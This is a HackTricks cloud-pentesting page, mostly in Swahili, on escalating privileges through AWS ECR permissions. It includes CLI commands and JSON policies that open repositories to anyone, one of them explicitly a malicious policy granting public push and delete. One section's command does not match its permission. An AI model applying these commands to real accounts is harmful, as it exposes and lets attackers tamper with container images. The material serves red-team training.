AWS - ECR Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Mshambuliaji mwenye ecr:GetAuthorizationToken na ecr:BatchGetImage anaweza kuingia kwenye ECR na kupakua picha.

Kwa maelezo zaidi juu ya jinsi ya kupakua picha:

AWS - ECR Post Exploitation

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kukamata taarifa nyeti katika trafiki.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Mshambuliaji mwenye ruhusa zote hizo anaweza kuingia kwenye ECR na kupakia picha. Hii inaweza kuwa na manufaa kuongeza mamlaka kwa mazingira mengine ambapo picha hizo zinatumika.

Ili kujifunza jinsi ya kupakia picha mpya/sasisha moja, angalia:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Kama sehemu ya awali, lakini kwa hifadhi za umma.

ecr:SetRepositoryPolicy

Mshambuliaji mwenye ruhusa hii anaweza kubadilisha sera ya hifadhi ili kujipatia (au hata kila mtu) ufikiaji wa kusoma/kupakia. Kwa mfano, katika mfano huu ufikiaji wa kusoma unatolewa kwa kila mtu.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Maudhui ya my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Kama sehemu ya awali, lakini kwa hifadhi za umma. Mshambuliaji anaweza kubadilisha sera ya hifadhi ya hifadhi ya ECR Public ili kutoa ufikiaji wa umma usioidhinishwa au kuongeza mamlaka yao.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Madhara Yanayoweza Kutokea: Ufikiaji wa umma usioidhinishwa kwa hifadhi ya ECR Public, ikiruhusu mtumiaji yeyote kupush, pull, au kufuta picha.

ecr:PutRegistryPolicy

Mshambuliaji mwenye ruhusa hii anaweza kubadilisha sera ya hifadhi ili kujipa, akaunti yake (au hata kila mtu) ufikiaji wa kusoma/kandika.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.